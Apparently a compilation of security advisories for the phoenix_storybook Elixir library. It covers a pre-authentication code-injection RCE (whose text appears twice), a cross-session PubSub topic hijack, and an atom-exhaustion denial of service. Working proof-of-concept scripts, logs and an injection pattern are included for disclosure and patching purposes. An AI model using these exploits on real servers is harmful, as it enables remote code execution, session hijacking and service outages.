1. Identify any story URL with a Playground tab (e.g. /storybook/core_components/button).
2. Connect to the Phoenix LiveView WebSocket without any authentication.
3. Join the story's LiveView channel and send a psb-assign event with an attribute value that escapes the HEEx attribute context and embeds an Elixir expression (e.g. a System.cmd/2 call).
4. The server evaluates the injected expression and returns its output in the rendered response.

No authentication, no special configuration, and no user interaction are required.

Impact

This is a pre-authentication remote code execution vulnerability. Any user able to reach the storybook endpoint, including unauthenticated internet users if the storybook is publicly deployed, can execute arbitrary operating system commands with the privileges of the server process. All versions of phoenix_storybook from 0.5.0 before 1.1.0 are affected.

Resources

• Introduction Commit: https://github.com/phenixdigital/phoenix_storybook/commit/e35379dfe2ef1a71b141899e36f431017c55265d
• Patch Commit: https://github.com/phenixdigital/phoenix_storybook/commit/56ab8464d4375fa52db806148a06cce126ad481d

Summary

The storybook iframe LiveView accepts a PubSub topic from the URL query string and broadcasts its own pid onto that topic with no check that the topic belongs to the current session. Any unauthenticated visitor who knows or guesses another user's playground topic can hijack the playground↔iframe handshake, causing the victim's playground to send its control messages to an attacker-controlled iframe process — a cross-session information leak.

Likely introduced in https://github.com/phenixdigital/phoenix_storybook/commit/8c2c97b0f505780fee4069988bf86736f51d35d7

Details

PhoenixStorybook.Story.ComponentIframeLive.handle_params/3 (lib/phoenix_storybook/live/story/component_iframe_live.ex:24-30) takes the topic straight from params["topic"] and broadcasts on it:

if topic = params["topic"] do
  Phoenix.PubSub.broadcast!(
    PhoenixStorybook.PubSub, topic, {:component_iframe_pid, self()}
  )
end

The shared PhoenixStorybook.PubSub is used to coordinate playground LiveViews with their iframes: a playground subscribes to a topic, learns the iframe's pid from the {:component_iframe_pid, _} message, and then uses send/2 to deliver subsequent state and control messages (variation state, theme switches, extra-assign payloads, etc.) directly to that pid.

Because the iframe trusts the query parameter, an attacker who loads /storybook/iframe/<story>?topic=<victim_topic> in their own browser causes their iframe process's pid to be announced on the victim's private topic. The victim's playground then addresses its private messages to the attacker's iframe, where they arrive in handle_info/2. There is no authentication, ownership check, or binding between the topic and the requesting session.

The fix is to stop accepting the topic from the query string — derive it server-side from the LiveView session (or pass the playground pid via a signed session) and refuse to broadcast on any topic the current session does not own. Alternatively, nest the iframe LiveView under the playground so its pid is known directly and the broadcast-based discovery is removed.

PoC

The attached script reproduces the leak end-to-end against a real Phoenix endpoint mounting the library's own router via live_storybook("/storybook", backend_module: MyStorybook). The threat model is an outside attacker who can reach the storybook iframe URL; the only entry point used is a plain HTTP GET /storybook/iframe/<story>?topic=<victim_topic>, which mounts ComponentIframeLive and triggers the vulnerable handle_params/3 call site shown above.

To simulate a legitimate playground, the script spawns a "victim" process that calls Phoenix.PubSub.subscribe(PhoenixStorybook.PubSub, victim_topic) with a freshly generated secret topic. The attacker session — completely separate, with no shared cookies or auth — then issues a single Req.get! to the iframe URL with ?topic=<victim_topic> URL-encoded onto the query string. Inside the iframe LiveView, params["topic"] is the attacker-supplied value, and Phoenix.PubSub.broadcast!/3 delivers {:component_iframe_pid, self()} to the victim's subscription. No authentication or token is needed; the only precondition is knowing (or guessing) the victim's topic.

The victim process pattern-matches on {:component_iframe_pid, attacker_iframe_pid} and forwards it to the test harness. The script prints VERIFIED: attacker-controlled "?topic=" query param caused PubSub broadcast onto victim's private topic along with the leaked pid when the cross-session message arrives, and NOT VERIFIED if nothing arrives within the timeout. The full script is attached below under "Scripts and Logs".

Impact

Cross-session information disclosure and message injection in any application that exposes phoenix_storybook over an HTTP boundary. Any unauthenticated user who can reach the iframe route and learn or guess a playground's topic can redirect the playground's private control messages — variation state, theme changes, and any developer-wired extra assigns — to an iframe process they control. There is no auth check on the broadcast, so the only precondition is reachability of the iframe URL plus knowledge of a target topic.

Scripts and Logs

# Verifies: Cross-session PubSub topic injection via URL parameter
#
# Run: elixir cross_session_pubsub_topic_injection_via_url_parameter_1352.exs
#
# Threat model: an outside attacker who can browse the storybook iframe URL.
# They open `/storybook/iframe/<story>?topic=<victim_topic>` in their own
# browser. The iframe LiveView's handle_params broadcasts
# `{:component_iframe_pid, self()}` on whatever topic the attacker put in the
# query string. A victim's playground that subscribed to `victim_topic`
# (legitimately, for its own iframe) receives the attacker's iframe pid and
# will subsequently address its private control messages to that pid.
#
# This PoC stands up a real Phoenix endpoint + the library's own router, has a
# "victim" process Phoenix.PubSub.subscribe to a secret topic, then makes a
# plain HTTP GET to the iframe URL with `?topic=<secret>` from an attacker
# session. If the victim receives the iframe pid, the topic was successfully
# hijacked.

Mix.install([
  {:phoenix_storybook, "1.0.0"},
  {:phoenix_live_view, "~> 1.0"},
  {:bandit, "~> 1.5"},
  {:req, "~> 0.5"},
  {:jason, "~> 1.4"}
])

# ----- 1. Minimum on-disk story so the iframe LV actually mounts. -----
tmp = Path.join(System.tmp_dir!(), "psb_poc_#{System.unique_integer([:positive])}")
File.mkdir_p!(tmp)

File.write!(Path.join(tmp, "demo.story.exs"), """
defmodule Storybook.Demo do
  use PhoenixStorybook.Story, :component
  def function, do: &Phoenix.Component.link/1
  def variations do
    [%Variation{id: :default, attributes: %{navigate: "/x"}, slots: ["hi"]}]
  end
end
""")

# ----- 2. Storybook backend + Phoenix endpoint/router. -----
expanded_content_path = Path.expand(tmp)

Module.create(
  MyStorybook,
  quote do
    use PhoenixStorybook, otp_app: :psb_poc, content_path: unquote(expanded_content_path)
  end,
  Macro.Env.location(__ENV__)
)

defmodule MyRouter do
  use Phoenix.Router
  import Phoenix.LiveView.Router
  import PhoenixStorybook.Router

  scope "/" do
    live_storybook("/storybook", backend_module: MyStorybook)
  end
end

poc_port = Enum.random(20_000..30_000)

Application.put_env(:psb_poc, MyEndpoint,
  http: [ip: {127, 0, 0, 1}, port: poc_port],
  server: true,
  secret_key_base: String.duplicate("a", 64),
  live_view: [signing_salt: "12345678"],
  pubsub_server: PhoenixStorybook.PubSub,
  adapter: Bandit.PhoenixAdapter,
  check_origin: false
)

defmodule MyEndpoint do
  use Phoenix.Endpoint, otp_app: :psb_poc

  @session_options [
    store: :cookie,
    key: "_psb_poc_key",
    signing_salt: "12345678",
    same_site: "Lax"
  ]

  socket "/live", Phoenix.LiveView.Socket, websocket: true
  plug Plug.Session, @session_options
  plug :fetch_query_params_plug
  plug MyRouter

  def fetch_query_params_plug(conn, _opts), do: Plug.Conn.fetch_query_params(conn)
end

# ----- 3. Boot endpoint (PhoenixStorybook.PubSub is started by the lib app). -----
{:ok, _} = MyEndpoint.start_link()

base = "http://127.0.0.1:#{poc_port}"

# ----- 4. Victim subscribes to its private playground topic. -----
victim_topic = "playground-secret-#{:erlang.unique_integer([:positive])}"
victim = self()

# A separate process plays the role of the victim's playground LV. It
# subscribes to its own topic — exactly what PlaygroundLive does when the
# legitimate user opens their playground page.
victim_pid =
  spawn_link(fn ->
    :ok = Phoenix.PubSub.subscribe(PhoenixStorybook.PubSub, victim_topic)
    send(victim, :victim_ready)

    receive do
      {:component_iframe_pid, attacker_iframe_pid} ->
        send(victim, {:victim_got, attacker_iframe_pid})
    after
      5_000 -> send(victim, :victim_timeout)
    end
  end)

receive do
  :victim_ready -> :ok
after
  2_000 -> raise "victim subscribe timed out"
end

# ----- 5. Attacker, in a completely unrelated session, hits the iframe URL
#         with ?topic=<victim's secret topic>. -----
attacker_url =
  base <>
    "/storybook/iframe/demo?topic=" <> URI.encode_www_form(victim_topic)

_resp = Req.get!(attacker_url, retry: false)

# ----- 6. Observe the cross-session leak. -----
outcome =
  receive do
    {:victim_got, leaked_pid} -> {:leaked, leaked_pid}
    :victim_timeout -> :no_leak
  after
    6_000 -> :no_leak
  end

# ----- 7. Tear down. -----
:ok = Supervisor.stop(MyEndpoint, :normal)
File.rm_rf!(tmp)
if Process.alive?(victim_pid), do: Process.exit(victim_pid, :kill)

case outcome do
  {:leaked, pid} ->
    IO.puts("Victim received iframe pid: #{inspect(pid)}")
    IO.puts("Victim's topic was: #{victim_topic} (never shared with attacker session)")
    IO.puts("Attacker only needed to know/guess that topic to hijack the pid handshake.")
    IO.puts("VERIFIED: attacker-controlled `?topic=` query param caused PubSub broadcast onto victim's private topic")

  :no_leak ->
    IO.puts("NOT VERIFIED: no cross-session message observed within timeout")
end

Logs

11:56:17.598 [warning] Can't resolve priv dir for application psb_poc

11:56:17.750 [info] Running MyEndpoint with Bandit 1.11.1 at 127.0.0.1:26466 (http)

11:56:17.750 [info] Access MyEndpoint at http://localhost:26466

11:56:17.790 [debug] Processing with PhoenixStorybook.Story.ComponentIframeLive.__live__/0
  Parameters: %{"story" => ["demo"], "topic" => "playground-secret-8"}
  Pipelines: [:storybook_browser]
Victim received iframe pid: #PID<0.598.0>
Victim's topic was: playground-secret-8 (never shared with attacker session)
Attacker only needed to know/guess that topic to hijack the pid handshake.
VERIFIED: attacker-controlled `?topic=` query param caused PubSub broadcast onto victim's private topic

Summary

An attacker who can deliver psb-assign, psb-toggle, psb-set-theme, upper-tab-navigation, lower-tab-navigation, playground-change, or playground-toggle LiveView events to a mounted Phoenix Storybook playground can flood the BEAM atom table with attacker-controlled strings, permanently leaking atoms until the VM hits its ~1,048,576 atom ceiling and crashes the entire node. No authentication is required beyond being able to reach the storybook route.

Tabs parsing was introduced in https://github.com/phenixdigital/phoenix_storybook/commit/0228669d55c23a754d1ef11f49a32121129d5395

Details

PhoenixStorybook.Story.Playground and PhoenixStorybook.ExtraAssignsHelpers converts user-supplied event params into atoms without checking whether the atoms already exist:

• handle_set_variation_assign/3 (lib/phoenix_storybook/helpers/extra_assigns_helpers.ex:59) iterates the event params map and calls String.to_atom/1 on every key.
• handle_toggle_variation_assign/3 (line 73) calls String.to_atom/1 on the "attr" value supplied by the client.
• to_variation_id/2 (lines 90, 93) calls String.to_atom/1 on each element of "variation_id".
• to_value/4 (lines 106, 107) calls String.to_atom/1 on the raw string value for any attribute declared as :atom or :boolean.

The existing guards do not help: check_type!/3 for :boolean inspects the atom after String.to_atom/1 has already interned it, so the leak has already happened. The :atom branch only checks is_atom/1, which is trivially true for the atom that was just created. Atoms in the BEAM are never garbage-collected, so each unique attacker string is a permanent leak; once the atom table fills, the VM aborts.

The fix is to use String.to_existing_atom/1 (with a rescue that rejects unknown names) or, better, to look the attribute / variation up in the declared story.attributes() / variation registry and reuse the atom from there.

PoC

The attached script focuses on only the first class of parameters. It encodes the threat model of an outside attacker who can deliver psb-assign events to a mounted storybook playground LiveView. LiveView event handlers route those params into the public helper PhoenixStorybook.ExtraAssignsHelpers.handle_set_variation_assign/3 (see lib/phoenix_storybook/live/story/playground_preview_live.ex), so the script calls that helper directly with attacker-shaped params — a stub FakeStory providing an empty attributes/0 list and a single :default variation, plus an extra_assigns map keyed by {:single, :default}.

Each simulated request is a params map with 5,000 unique keys of the form "psb_evil_<nonce>_<r>_<i>". Because the helper does for {key, value} <- params, ..., do: {String.to_atom(key), ...}, every distinct key is interned as a brand-new permanent atom. The script issues 5 such requests for 25,000 atoms total — modest on purpose so the script finishes quickly; raising either loop bound walks the process straight into :erlang.system_info(:atom_limit) and crashes the VM.

The script measures :erlang.system_info(:atom_count) before and after, prints the delta and the atom limit, and prints VERIFIED: … when the delta is at least requests * attrs_per_request (i.e. 25,000), proving that each attacker-controlled string became a permanent atom. No authentication is required by the helper itself — only the ability to reach the storybook route and emit the event.

The full script is attached below under "Scripts and Logs".

Impact

Unauthenticated denial-of-service via atom-table exhaustion against any Phoenix application that mounts Phoenix Storybook (1.0.0) on a network-reachable route. A single sustained stream of psb-assign / psb-toggle events with unique keys is enough to crash the entire BEAM node, taking down every application running on it — not just the storybook. The only precondition is reachability of the storybook LiveView; many deployments expose it in staging/preview environments or, by misconfiguration, in production.

Scripts and Logs

# Verifies: Unbounded atom creation from LiveView event params (atom-table DoS)
#
# Run with:
#   elixir unbounded_atom_creation_from_liveview_event_params_atom_tabl_1350.exs
#
# Threat model: an outside attacker who can deliver `psb-assign` events to a
# mounted storybook view supplies attacker-controlled param maps. The library's
# public helper `PhoenixStorybook.ExtraAssignsHelpers.handle_set_variation_assign/3`
# is the documented entry point that LiveView event handlers feed those params
# into (see lib/phoenix_storybook/live/story/playground_preview_live.ex). The
# helper interns every key of `params` with `String.to_atom/1`, so unique
# attacker strings each create a permanent atom.

Mix.install([{:phoenix_storybook, "1.0.0"}])

alias PhoenixStorybook.ExtraAssignsHelpers
alias PhoenixStorybook.Stories.Variation

defmodule FakeStory do
  def attributes, do: []
  def variations, do: [%Variation{id: :default, attributes: %{}}]
end

extra_assigns = %{{:single, :default} => %{}}

# Each request from the attacker is one params map. Use 5_000 unique attribute
# names per request, across 5 requests = 25_000 distinct atoms permanently
# leaked. (Kept modest so the script finishes quickly; raise to crash the VM.)
nonce = System.unique_integer([:positive])
requests = 5
attrs_per_request = 5_000

before_count = :erlang.system_info(:atom_count)

for r <- 1..requests do
  attacker_params =
    for i <- 1..attrs_per_request, into: %{"variation_id" => "default"} do
      {"psb_evil_#{nonce}_#{r}_#{i}", "x"}
    end

  ExtraAssignsHelpers.handle_set_variation_assign(attacker_params, extra_assigns, FakeStory)
end

after_count = :erlang.system_info(:atom_count)
delta = after_count - before_count

IO.puts("atom_count before: #{before_count}")
IO.puts("atom_count after:  #{after_count}")
IO.puts("delta:             #{delta}")
IO.puts("atom_limit:        #{:erlang.system_info(:atom_limit)}")

expected = requests * attrs_per_request

if delta >= expected do
  IO.puts(
    "VERIFIED: handle_set_variation_assign/3 interned #{delta} attacker-controlled strings as permanent atoms (limit #{:erlang.system_info(:atom_limit)}); a sustained flood exhausts the atom table and crashes the BEAM."
  )
else
  IO.puts("NOT VERIFIED: only #{delta} new atoms created (expected >= #{expected})")
end

Logs

atom_count before: 26341
atom_count after:  51361
delta:             25020
atom_limit:        1048576
VERIFIED: handle_set_variation_assign/3 interned 25020 attacker-controlled strings as permanent atoms (limit 1048576); a sustained flood exhausts the atom table and crashes the BEAM.

Summary

An unsafe HEEx template generation vulnerability allows any unauthenticated user to execute arbitrary code on the server. The phoenix_storybook playground accepts user-controlled attribute values over WebSocket and interpolates them unsanitized into a HEEx template that is subsequently compiled and evaluated with full Elixir Kernel access.

Details

The vulnerability is a three-step chain:

1. Unsanitized WebSocket input (extra_assigns_helpers.ex) The psb-assign event handler in PhoenixStorybook.Story.PlaygroundPreviewLive accepts arbitrary attribute names and values from unauthenticated WebSocket clients and stores them verbatim via ExtraAssignsHelpers.handle_set_variation_assign/3.

2. Unescaped interpolation into HEEx (component_renderer.ex) ComponentRenderer.attributes_markup/1 builds a HEEx template string by interpolating binary attribute values directly:

{name, val} when is_binary(val) ->
  ~s|#{name}="#{val}"|

No escaping of " or { is performed. A value such as foo" injected={EXPR} bar=" breaks out of the attribute string and injects EXPR as an inline HEEx expression.

3. Unsandboxed evaluation (component_renderer.ex) The resulting HEEx string is compiled via EEx.compile_string/2 and evaluated via Code.eval_quoted_with_env/3 with full Kernel imports and no sandbox. The injected expression executes on the server even if it causes a rendering error.

PoC

1. Identify any story URL with a Playground tab (e.g. /storybook/core_components/button).
2. Connect to the Phoenix LiveView WebSocket without any authentication.
3. Join the story's LiveView channel and send a psb-assign event with an attribute value that escapes the HEEx attribute context and embeds an Elixir expression (e.g. a System.cmd/2 call).
4. The server evaluates the injected expression and returns its output in the rendered response.

No authentication, no special configuration, and no user interaction are required.

Impact

This is a pre-authentication remote code execution vulnerability. Any user able to reach the storybook endpoint, including unauthenticated internet users if the storybook is publicly deployed, can execute arbitrary operating system commands with the privileges of the server process. All versions of phoenix_storybook from 0.5.0 before 1.1.0 are affected.

Resources

• Introduction Commit: https://github.com/phenixdigital/phoenix_storybook/commit/e35379dfe2ef1a71b141899e36f431017c55265d
• Patch Commit: https://github.com/phenixdigital/phoenix_storybook/commit/56ab8464d4375fa52db806148a06cce126ad481d